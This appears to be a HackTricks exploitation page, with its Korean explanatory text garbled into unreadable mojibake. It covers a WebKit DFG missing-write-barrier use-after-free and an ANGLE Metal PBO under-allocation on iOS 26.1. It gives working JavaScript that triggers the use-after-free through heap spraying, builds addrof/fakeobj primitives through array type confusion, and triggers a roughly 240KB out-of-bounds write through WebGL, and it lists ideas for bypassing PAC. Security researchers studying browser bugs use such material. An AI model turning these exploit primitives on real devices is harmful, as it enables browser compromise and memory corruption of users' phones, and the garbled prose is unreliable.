WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์์ฝ
- DFG Store Barrier bug (CVE-2025-43529):
DFGStoreBarrierInsertionPhase.cpp์์ Upsilon ์ ๋ ฅ๋ค์ด ๊ทธ๋ ์ง ์์๋ฐ Phi ๋ ธ๋๊ฐ escaped๋ก ํ์๋๋ ๊ฒฝ์ฐ ํด๋น phase๊ฐ ์ดํ ๊ฐ์ฒด ์ ์ฅ์ ๋ํด write barrier ์ฝ์ ์ ๊ฑด๋๋๋๋ค. GC ์๋ ฅ ํ์์ ์ด๋ JSC๊ฐ ์์ง ๋๋ฌ ๊ฐ๋ฅํ ๊ฐ์ฒด๋ฅผ ํด์ ํ๊ฒ ํ์ฌ โ use-after-free. - ์ต์คํ๋ก์ ๋์: Date ๊ฐ์ฒด๊ฐ butterfly๋ฅผ ์ค์ฒดํํ๊ฒ ๊ฐ์ (์:
a[0] = 1.1)ํ์ฌ butterfly๊ฐ ํด์ ๋๋๋ก ํ ๋ค, ์ด๋ฅผ ๋ฐฐ์ด ์์ ์ ์ฅ ๊ณต๊ฐ์ผ๋ก ์ฌํ ๋น(reclaimed) ํ๋ฉฐ boxed/unboxed ํผ๋์ ๋ง๋ค์ดaddrof/fakeobjํ๋ฆฌ๋ฏธํฐ๋ธ๋ฅผ ํ๋. - ANGLE Metal PBO bug (CVE-2025-14174): Metal backend๋ ์ค์ ํ
์ค์ฒ ๋์ด ๋์
UNPACK_IMAGE_HEIGHT์ ์ฌ์ฉํด PBO staging buffer๋ฅผ ํ ๋นํฉ๋๋ค. ์์ unpack height๋ฅผ ์ ๊ณตํ ๋ค ํฐtexImage2D๋ฅผ ํธ์ถํ๋ฉด staging-buffer OOB write(์๋ PoC์์ ์ฝ 240KB)๊ฐ ๋ฐ์ํฉ๋๋ค. - PAC blockers on arm64e (iOS 26.1): TypedArray์
m_vector์ JSArray์butterfly๋ PAC-signed๋์ด ์์ผ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์ ํํ ํฌ์ธํฐ๋ก fake object๋ฅผ ์์กฐํ๋ฉดEXC_BAD_ACCESS/EXC_ARM_PAC๋ก ํฌ๋์ํฉ๋๋ค. ์ด๋ฏธ ์๋ช ๋(to-be reused) butterflies(์ฆ boxed/unboxed ์ฌํด์)๋ง ์ฌ์ฌ์ฉํ๋ ๋ฐฉ์๋ง ๋์ํฉ๋๋ค.
DFG missing barrier ํธ๋ฆฌ๊ฑฐ โ UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier โ frees `a`/butterfly
}
Key points:
- ์ธ๋๋ณ barrier๋ฅผ ์๋์ํค๊ธฐ ์ํด A๋ฅผ old space์ ๋ฐฐ์นํ๋ค.
- butterfly๊ฐ ํด์ ๋ ๋์์ด ๋๋๋ก ์ธ๋ฑ์ค๋ Date๋ฅผ ๋ง๋ ๋ค.
ArrayBuffer(0x800000)๋ฅผ sprayํ์ฌ GC๋ฅผ ๊ฐ์ ํ๊ณ ๋ ์ด์ค๋ฅผ ํ์ฅํ๋ค.- Phi/Upsilon์ escape ๋ถ์ผ์น๊ฐ barrier ์ฝ์
์ ๋ฉ์ถ๋ค;
b.p1 = a๋ without a write barrier๋ก ์คํ๋์ด GC๊ฐa/butterfly๋ฅผ ํ์ํ๋ค.
Butterfly reclaim โ boxed/unboxed ํผ๋
GC๊ฐ Date butterfly๋ฅผ ํด์ ํ ํ, freed slab๊ฐ ์๋ก ๋ค๋ฅธ element kinds๋ฅผ ๊ฐ์ง ๋ ๋ฐฐ์ด์ elements๋ก ์ฌ์ฌ์ฉ๋๋๋ก arrays๋ฅผ sprayํ๋ค:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 โ addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object โ fakeobj
ํํฉ on iOS 26.1 (arm64e):
- ์๋ํจ:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - ์์ง ์์ ์ ์ด์ง ์์: generalized
read64/write64via inline-slot backings.
PAC constraints on arm64e (์ fake objects๊ฐ ์ถฉ๋ํ๋๊ฐ)
- TypedArray
m_vector๋ฐ **JSArraybutterfly**๋ PAC-signed; ํฌ์ธํฐ๋ฅผ ์์กฐํ๋ฉดEXC_BAD_ACCESS/ ์๋งEXC_ARM_PAC๊ฐ ๋ฐ์ํจ. - confusion primitive๋ ํฉ๋ฒ์ ์ผ๋ก ์๋ช ๋ butterflies๋ฅผ ์ฌ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ๋์ํจ; ์๋ช ๋์ง ์์ attacker pointers๋ฅผ ๋์ ํ๋ฉด ์ธ์ฆ์ ์คํจํจ.
- ๊ฐ๋ฅํ bypass ์์ด๋์ด: auth๋ฅผ ๊ฑด๋๋ฐ๋ JIT ๊ฒฝ๋ก, attacker pointers์ ์๋ช ํ๋ gadgets, ๋๋ ANGLE OOB๋ฅผ ํตํ pivoting.
ANGLE Metal PBO์ under-allocation โ OOB write
์์ unpack height๋ฅผ ์ฌ์ฉํด staging buffer๋ฅผ ์ถ์ํ ๋ค์ ํฐ texture๋ฅผ ์ ๋ก๋ํด์ copy๊ฐ overrun๋๊ฒ ๋ง๋ญ๋๋ค:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB โ ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
๋ ธํธ:
TextureMtl.cpp์ ๋ฒ๊ทธ: staging buffer๊ฐ PBO ๊ฒฝ๋ก์์ ์ค์ ํ ์ค์ฒ ๋์ด ๋์UNPACK_IMAGE_HEIGHT์ ์ฌ์ฉํจ.- ์ฐธ์กฐ ํ๋ก๋ธ์์๋ WebGL2 PBO trigger๊ฐ ๊ตฌ์ฑ๋์ด ์์ง๋ง iOS 26.1์์๋ ์์ง ์์ ์ ์ผ๋ก ๊ด์ฐฐ๋์ง ์์.
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


